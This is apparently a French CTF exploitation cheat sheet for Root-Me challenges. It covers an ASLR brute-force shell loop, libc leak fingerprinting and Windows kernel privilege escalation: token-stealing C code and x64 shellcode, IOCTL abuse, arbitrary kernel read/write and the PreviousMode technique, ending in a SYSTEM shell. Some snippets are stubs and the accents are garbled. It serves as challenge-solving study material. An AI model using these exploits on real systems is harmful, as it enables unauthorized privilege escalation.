ssh = paramiko.SSHClient()
ssh.connect(...)
ssh.get_transport().set_keepalive(20)
Script bash de scan ASLR optimal (serveur Root-Me 32-bit)
Template complet pour une boucle de brute-force ASLR robuste sur le serveur :
#!/bin/bash
B='/challenge/app-systeme/chXX/chXX'
N=-1869574000
SC_CHUNKS='...'
awk -v n="$N" -v sc="$SC_CHUNKS" 'BEGIN{
for(i=1;i<996;i++){print n; print i} # sled 4000 octets
nsc=split(sc,a," ")
for(j=1;j<=nsc;j++){
if(a[j]+0!=0){print a[j]; print 995+j} # ignorer chunks=0
}
}' > /tmp/base.txt
cnt=0; addr=4294963200
while [ $cnt -lt 20000 ]; do
if [ $addr -gt 2147483647 ]; then rd=$((addr-4294967296)); else rd=$addr; fi
{ cat /tmp/base.txt; printf '%d\n-15\n' $rd; } > /tmp/exploit.txt
timeout 2 setarch i386 -R "$B" /tmp/exploit.txt > /tmp/out.bin 2>/dev/null
cnt=$((cnt+1))
sz=$(wc -c < /tmp/out.bin 2>/dev/null | tr -d ' '); sz=${sz:-0}
if [ "$sz" -gt 4 ]; then
printf '[FLAG! cnt=%d addr=0x%08x sz=%d]\n' $cnt $addr $sz
dd if=/tmp/out.bin bs=1 skip=4 count=$((sz-4)) 2>/dev/null
printf '\n'; exit 0
elif [ "$sz" -eq 4 ]; then
printf '[EXEC-ONLY cnt=%d addr=0x%08x]\n' $cnt $addr
fi
addr=$((addr - 3840))
[ $addr -lt 4278190080 ] && addr=4294963200
[ $((cnt % 100)) -eq 0 ] && printf '[scan] cnt=%d addr=0x%08x\n' $cnt $addr >&2
done
printf '[FAILED after %d tries]\n' $cnt
Interprétation des tailles de sortie :
sz=0 â SIGSEGV : redirection rate la NOP sled (continuer le scan)
sz=4 â Shellcode exĂ©cutĂ© (ESP Ă©crit), mais sys_open/sys_read/sys_write Ă©choue (vĂ©rifier permissions setuid, chemin du fichier)
sz>4 â SuccĂšs : 4B ESP + contenu du flag
Environnement serveur typique Root-Me
python3
gcc
gdb
strings, file
ltrace, strace
nc, socat
~/
/challenge/
/levels/<nom>/
/challenge/.passwd
~/.passwd
/passwd
Fingerprinter la libc avec des leaks
from pwn import *
puts_leak = 0x7f1234567890
import requests
r = requests.post('https://libc.rip/api/find', json={
'symbols': {'puts': hex(puts_leak & 0xfff)}
})
print(r.json())
def leak(addr):
return data
d = DynELF(leak, elf=elf)
system_addr = d.lookup('system', 'libc')
Debugging local sans GDB interactif
python3 -c "from pwn import *; print(cyclic(200).decode())" | ./challenge
dmesg | tail -5
python3 -c "from pwn import *; print(cyclic_find(0x6161616e))"
echo "r <<< $(python3 -c "from pwn import *; sys.stdout.buffer.write(cyclic(200))")" | \
gdb -q ./challenge
valgrind --track-origins=yes ./challenge <<< "$(python3 -c "print('A'*100)")"
gcc -fsanitize=address -o challenge_asan challenge.c
One_gadget : trouver des gadgets shell directs
one_gadget ./libc.so.6
one_gadget ./remote_libc.so.6
from subprocess import check_output
gadgets = check_output(['one_gadget', '--raw', 'libc.so.6']).split()
Offsets utiles Ă connaĂźtre
from pwn import *
libc = ELF('./libc.so.6')
print(hex(libc.symbols['system']))
print(hex(libc.symbols['__libc_start_main']))
print(next(libc.search(b'/bin/sh')))
libc_base = leaked_addr - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
CTF App-System â Windows Kernel x64
Vue d'ensemble des challenges WinKern Root-Me
Les challenges Windows Kernel Root-Me fournissent généralement :
- Un driver kernel vulnérable (
.sys)
- Un programme de test ou interface IOCTL
- AccĂšs Ă une VM Windows via RDP ou fichier challenge Ă analyser
Objectif : escalade de privilĂšges â SYSTEM â lire le flag.
Structures Windows Kernel essentielles
_EPROCESS (Process Control Block)
_EPROCESS:
+0x000 Pcb : _KPROCESS
+0x2e0 UniqueProcessId : HANDLE
+0x2e8 ActiveProcessLinks: LIST_ENTRY
+0x358 Token : _EX_FAST_REF
Token Stealing â Technique principale
#include <windows.h>
#include <stdio.h>
void __fastcall steal_token() {
ULONG_PTR eprocess_offset_pid = 0x2e0;
ULONG_PTR eprocess_offset_list = 0x2e8;
ULONG_PTR eprocess_offset_token = 0x358;
ULONG_PTR current = (ULONG_PTR)PsGetCurrentProcess();
ULONG_PTR system_proc = current;
do {
ULONG_PTR pid = *(ULONG_PTR*)(system_proc + eprocess_offset_pid);
if (pid == 4) break;
ULONG_PTR flink = *(ULONG_PTR*)(system_proc + eprocess_offset_list);
system_proc = flink - eprocess_offset_list;
} while (system_proc != current);
ULONG_PTR system_token = *(ULONG_PTR*)(system_proc + eprocess_offset_token);
*(ULONG_PTR*)(current + eprocess_offset_token) = system_token;
}
Shellcode token stealing (x64)
from pwn import *
EPROCESS_PID_OFFSET = 0x2e0
EPROCESS_LIST_OFFSET = 0x2e8
EPROCESS_TOKEN_OFFSET = 0x358
shellcode = asm(f'''
; Sauvegarder les registres
push rax
push rbx
push rcx
push rdx
; Obtenir _EPROCESS courant via KTHREAD (GS:[0x188])
mov rax, qword ptr gs:[0x188] ; CurrentThread
mov rax, qword ptr [rax + 0x70] ; Process (_KPROCESS)
mov rax, qword ptr [rax + 0x220] ; _EPROCESS (si KPROCESS en premier)
; Note: peut varier, parfois directement gs:[0x188]+offset
; Sauvegarder l'_EPROCESS courant
mov rdx, rax
; Parcourir ActiveProcessLinks pour trouver SYSTEM (PID=4)
loop_start:
mov rax, [rax + {EPROCESS_LIST_OFFSET}] ; flink
sub rax, {EPROCESS_LIST_OFFSET} ; retour au début de EPROCESS
cmp qword ptr [rax + {EPROCESS_PID_OFFSET}], 4 ; PID == SYSTEM ?
jne loop_start
; Copier token SYSTEM vers process courant
mov rbx, [rax + {EPROCESS_TOKEN_OFFSET}] ; Token du SYSTEM
mov [rdx + {EPROCESS_TOKEN_OFFSET}], rbx ; Overwrite notre token
; Restaurer registres
pop rdx
pop rcx
pop rbx
pop rax
ret
''', arch='amd64', os='windows')
Interface IOCTL (DeviceIoControl)
#include <windows.h>
int main() {
HANDLE hDevice = CreateFileA(
"\\\\.\\VulnDriver",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Impossible d'ouvrir le device: %d\n", GetLastError());
return 1;
}
DWORD bytesReturned;
char inputBuffer[1024] = {0};
char outputBuffer[1024] = {0};
DeviceIoControl(hDevice, IOCTL_CODE,
inputBuffer, sizeof(inputBuffer),
outputBuffer, sizeof(outputBuffer),
&bytesReturned, NULL);
CloseHandle(hDevice);
}
Pool Overflow Exploitation
for (int i = 0; i < 1000; i++) {
HANDLE hPipe = CreateNamedPipeA(...);
}
HANDLE hVuln = CreateFile("\\\\.\\VulnDev", ...);
DeviceIoControl(hVuln, IOCTL_OVERFLOW,
overflow_data, sizeof(overflow_data), ...);
WriteFile(hCorruptedPipe, data, sizeof(data), &bytes, NULL);
SMEP Bypass pour Windows Kernel
Kernel Information Leak (KASLR bypass)
SYSTEM_MODULE_INFORMATION smi;
NtQuerySystemInformation(SystemModuleInformation, &smi, sizeof(smi), &size);
LPVOID drivers[1024];
DWORD cbNeeded;
EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
Arbitrary Read/Write Primitives
ULONG64 kernel_read64(HANDLE hDevice, ULONG64 addr) {
struct { ULONG64 addr; ULONG64 value; } req = {addr, 0};
DeviceIoControl(hDevice, IOCTL_READ, &req, sizeof(req),
&req, sizeof(req), &bytes, NULL);
return req.value;
}
void kernel_write64(HANDLE hDevice, ULONG64 addr, ULONG64 value) {
struct { ULONG64 addr; ULONG64 value; } req = {addr, value};
DeviceIoControl(hDevice, IOCTL_WRITE, &req, sizeof(req),
NULL, 0, &bytes, NULL);
}
ULONG64 system_eproc = find_eprocess_by_pid(hDevice, 4);
ULONG64 current_eproc = find_eprocess_by_pid(hDevice, GetCurrentProcessId());
ULONG64 system_token = kernel_read64(hDevice, system_eproc + TOKEN_OFFSET) & ~0xF;
kernel_write64(hDevice, current_eproc + TOKEN_OFFSET, system_token);
AprÚs élévation de privilÚges : spawner SYSTEM shell
void spawn_system_shell() {
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
CreateProcessA(
"C:\\Windows\\System32\\cmd.exe",
NULL, NULL, NULL, FALSE,
CREATE_NEW_CONSOLE,
NULL, NULL, &si, &pi
);
printf("[+] Shell lancé avec PID %d\n", pi.dwProcessId);
WaitForSingleObject(pi.hProcess, INFINITE);
}
WinKern debugâexploit workflow (source: Root-Me WinKern SSH)
1. Analyser le driver (.sys) avec IDA Pro ou Ghidra
- Identifier les IOCTL handlers (DriverEntry â DispatchDeviceControl)
- Chercher les vulnérabilités : buffer overflow, integer overflow, UAF
2. Identifier l'IOCTL code vulnérable
- Calculer : IOCTL = CTL_CODE(DeviceType, Function, Method, Access)
- Ou extraire via IDA du switch/case dans le handler
3. Reproduire la vulnérabilité localement
- VM Windows avec WinDbg attaché (double VM ou kernel debugging)
- Activer page heap : gflags /i target.exe +hpa
4. Développer l'exploit
- Identifier offsets EPROCESS selon la version Windows fournie
- Ăcrire le shellcode ou ROP chain
5. Transférer et tester
- Sur Root-Me : souvent VM accessible via RDP ou exploit Ă soumettre
WinDbg commandes utiles
// Kernel debugging
dt nt!_EPROCESS // Structure EPROCESS
dt nt!_EPROCESS @$proc // EPROCESS du process courant
!process 0 0 // Lister tous les process
!process 0 0 cmd.exe // Process spécifique
// Offsets dynamiques
?? #FIELD_OFFSET(nt!_EPROCESS, Token)
?? #FIELD_OFFSET(nt!_EPROCESS, ActiveProcessLinks)
// Chercher SYSTEM process
.foreach (proc {!process 0 0 System}) { dt nt!_EPROCESS proc Token }
// Breakpoint sur IOCTL handler
bp \VulnDriver!DispatchDeviceControl
bp \VulnDriver!DeviceIoControl
// Examiner la pile
k // Call stack
kn // Call stack avec numéros
r // Registres
dq rsp L10 // Dump 10 qwords depuis RSP
PreviousMode Write â Technique moderne (CVE-2024-21338)
Source : github.com/hakaioffsec/CVE-2024-21338
Concept : Modifier KTHREAD->PreviousMode de UserMode (1) â KernelMode (0).
Effet : Toutes les vĂ©rifications ProbeForRead/ProbeForWrite sont bypassĂ©es â AAW parfait via NtWriteVirtualMemory.
ULONG64 kthread_addr = get_kthread_addr();
ULONG64 previousmode_addr = kthread_addr + 0x232;
DeviceIoControl(hDevice, IOCTL_WRITE_BYTE,
&previousmode_addr, sizeof(ULONG64),
NULL, 0, &bytes, NULL);
ULONG64 system_token = get_system_token();
ULONG64 our_token_addr = get_current_process_token_addr();
NtWriteVirtualMemory(GetCurrentProcess(),
(PVOID)our_token_addr,
&system_token,
sizeof(ULONG64),
NULL);
UCHAR user_mode = 1;
NtWriteVirtualMemory(GetCurrentProcess(),
(PVOID)previousmode_addr,
&user_mode, 1, NULL);
system("cmd.exe");
Trouver KTHREAD address depuis userland (méthodes)
SYSTEM_THREAD_INFORMATION sti;
NtQuerySystemInformation(SystemProcessInformation, buf, size, &ret);
ULONG64 kthread = kernel_read64(hDevice, gs_base + 0x188);
Handle Table Exploitation
Windows 11 Mitigations Ă connaĂźtre
VBS (Virtualization-Based Security) :
â Hypervisor protĂšge les pages de code kernel
â Les ROP chains kernel doivent ĂȘtre dans des zones non-protĂ©gĂ©es
HVCI (Hypervisor-Protected Code Integrity) :
â EmpĂȘche l'exĂ©cution de code non signĂ© en kernel
â Shellcode kernel traditionnel ne fonctionne plus
â ROP uniquement (gadgets dans code signĂ©)
CFG (Control Flow Guard) :
â VĂ©rifie les appels indirects en userland
â En kernel : CET (Control-flow Enforcement Technology) sur Intel 11+
Protected Process Light (PPL) :
â Certains process (LSASS, antivirus) ne peuvent pas ĂȘtre accĂ©dĂ©s
â Requiert certificat Authenticode avec EKU spĂ©ciale
Shadow Stack (Intel CET) :
â Stack supplĂ©mentaire en lecture seule pour les adresses de retour
â PrĂ©sent sur Windows 11 avec CPU compatible
â Rend les attaques ROP classiques beaucoup plus difficiles
Analyse d'un driver vulnérable (IDA/Ghidra workflow)
CTL_CODE pour identifier les IOCTLs
#define CTL_CODE(DeviceType, Function, Method, Access) ( \
((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method))
#define METHOD_BUFFERED 0
#define METHOD_IN_DIRECT 1
#define METHOD_OUT_DIRECT 2
#define METHOD_NEITHER 3
#define FILE_ANY_ACCESS 0
#define FILE_READ_ACCESS 1
#define FILE_WRITE_ACCESS 2